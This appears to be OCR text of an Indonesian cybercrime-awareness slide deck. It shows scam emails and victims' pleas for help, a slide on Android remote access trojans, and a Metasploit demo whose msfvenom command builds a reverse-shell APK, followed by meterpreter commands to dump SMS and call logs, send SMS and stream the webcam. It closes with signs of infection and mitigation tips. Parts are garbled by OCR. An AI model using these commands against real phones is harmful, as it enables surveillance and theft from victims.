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onno@dell: ~

ALPINE 2.26  MESSAGE TEXT Folder: RETAS Message 173 of 218 60%

From: Fatima Lawrence Kamara <fatimalaw2021@gmail.com>
Reply-To: mhizfatima@yahoo.com
CMTo: undisclosed-recipients:
Subject: I CAN TRUST YOU

.
2

Parts/Attachments:
1 0K 17 lines Text
(] echown otlines e
=3
5 Hello ,

[=fpear I have a business Proposal that will be of benefit to the both of us and I shall be
compensating you with percent at the final conclusion. I am writing to acquaint you of a
transaction and monetary transfer of ($5,500.000.00) Five Million Five Hundred Thousand

United States Dollars.I need a reliable partner to have custody of this fund and we can
invest on Real Estate which is at the low presently.
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Aug1 16:28

Message 216 of 218 ALL

onno@dell: ~

ALPINE 2.26  MESSAGE TEXT Folder: RETAS

P IAY R I AN ATARNATANNNAWAATA]

TADate: Sgitad3 il

To: "onno@indo.net.id" <onno@indo.net.id>

L 3Parts/Attachments:
1 OK 6 lines Text

2 Shown ~7 lines Text

'.!hﬁﬁﬂamu'alaikum pak prof, bapak minta tolong tidak, akun saya ke hack dengan modus
meminjamkan uang pak, akun saya namanya @diannrsf__, dan dia chat pakal akun teman saya
@ aisy. , minta tolong pulihkan akun saya, terima kasih pak, soalnya teman saya sudah
= ada yg tertipu dengan akun tersebut, minta tolong responnya, terima kasih pak,

EE wassalamu'alaikum

[ALL of message]
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onno@dell: ~

ALPINE 2.26  MESSAGE TEXT Folder: RETAS Message 170 of 218 40%

Date. [ A - | MDA nr faVal ialal ot Fa¥al

TVOT OC IZWNIagrnrcog MUT OURTTOCT UTTLoU L U L 0yria ot . ot

To: "onno@indo.net.id" <onno@indo.net.id>
Subject: pak onno tolong saya

U MParts/Attachments:

1.1 OK ~30 lines Text
. 1.2 Shown ~28 lines Text
2 OK 837 KB Image

3 OK 346 KB Image
| 4 OK 460 KB Image

5 OK 218 KB Image
=) 6 OK 431 KB Image
=

Eg assalamualaikum wr.wb. pak onno bisa tolong bantu saya ., sabtu kemarin 20 januari 2024 saya kena tipu

di telegram atas event mitra tokopedia senilal 52jt rupiah yang saya transfer dari akun
shopepay,dana,bank BCA, dan Bank Aladin. awalnya saya sama sekalil tidak menyadari bahwa saya ditipu saya
sadar sadar setelah maghrib tiba. saya sudah ke kantor polisi namun hasilnya nihil. katanya uang saya
udah gak bisa balik lagi. tolong saya pak itu uang tabungan saya satu" nya, jika bapak bisa bantu
mengembalikan uang saya fee nya berapapun saya kasih asalkan uang saya kembali & saya sampal ambil
pinjaman online juga untuk transfer ke pelaku saya ambil pinjol si shope pinjam senilail Rp. 11.250.000
yang sekarang dengan bunganya menjadi Rp. 12.500.000 sekian dan satu lagil di aplikasi kredit pintar

polrd He'lp MsgIndex PrevMsg d PrevPage Delete Reply
@ OTHER CMDS ® \ViewAttch N NextMsag jd NextPage ¥ Undelete ¥ Forward



ALPINE 2.26  MESSAGE TEXT  Folder: RETAS

hate: Fri, 19 Jan 2024 10:09:03 +0700

153 of 218 92%

Message

From: sya B e

Com>

Subject: Minta bantuan

Parts/Attachments:
1 OK ~4 1ines Text
2 Shown ~5 1lines Text

g Selamat siang bapa saya mau minta bantuan bapa.
coinDCX sebesar $72000 sekarang susah di ambil.
membantu saya. Saya sudah terlilit sama hutang.

Saya punya asset di
Saya harap bapa bisa
Sangat butuh bantuan

bapa\l
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@GameFPS09 ¢+ 2 tahunyang lalu

1" %3A"tipu"%7D%7D% 5D B & Yr ™ Relaunchtoupdate }

Q = @ Buat iy Onno Center

=% Anda adalah pengelola

20200912 teknik belajar h 4

Kalo buka wibsite penghasil uang di blog gimana ,uangku lenyap di tipu website . ckdl

Abal abal & &

Balas

balasan
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Q

@s0ngoku965 -+ 3 tahun yang lalu

Assalamualaikum pak

Kalau mau melihat identitas penipu berdasarkan nomor telepon lewat kali linux

ada gak pak?

Teknik mendapatkan data
pribadi seperti eKTP, KK dll ..

Sebulan yang lalu kakak saya kena tipu sebesar 1jt, jadi saya...Baca selengkapnya

Balas
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W

1 I QO



Open Source Intelligent (OSINT)
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Remote Access Trojan (RAT)

steals cryptocurrency and banking credentials,
2FA codes, lock screen passcodes, captures
screenshots, calls log, sms log, send sms,
iInstall apps, run apps, stream webcam (video &
audio)
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Trash File Actions Edit View Help
L—(Im'li@ kali)-[~]

E $ msfconsole

R Metasploit tip: Network adapter names can be used for IP options set LHOST

File System etho

1]

Hom /

follow the white rabbit.

knock, knock, Neo.




msfvenom

msfvenom -p
android/meterpreter/reverse_tcp
Lhost=192.168.0.102 Llport=4444 >
Temp leRun2.apk



Msfconsole attack android

check_root

wlan_geolocate

dump_calllog

dump_sms

send_sms -d “nomor tujuan” -t “berita yang ingin dikirim”
send_sms -d 9599***847 -t hacked

webcam_list

webcam_shap 2

webcam_stream



Cirt Android Korban

HP Ada aktifitas walaupun layar gelap
HP Panas

AP Lemot

Batere HP cepat habis

Solusi:
~— Factory Reset
— JANGAN Auto Install Apps.




Mitigasl Serangan

Jangan Percaya “Too good to be true”
Jangan Kepo

Jangan Klik .apk sembarang

Jangan allow install .apk (non-playstore)
Jangan posting hal2 pribadi

Cross Check “orang” di Internet vs aslinya.



	Slide 1
	Slide 2
	Slide 3
	Slide 4
	Slide 5
	Slide 6
	Slide 7
	Slide 8
	Slide 9
	Slide 10
	Slide 11
	Slide 12
	Slide 13
	Slide 14
	Slide 15
	Slide 16
	Slide 17
	Slide 18

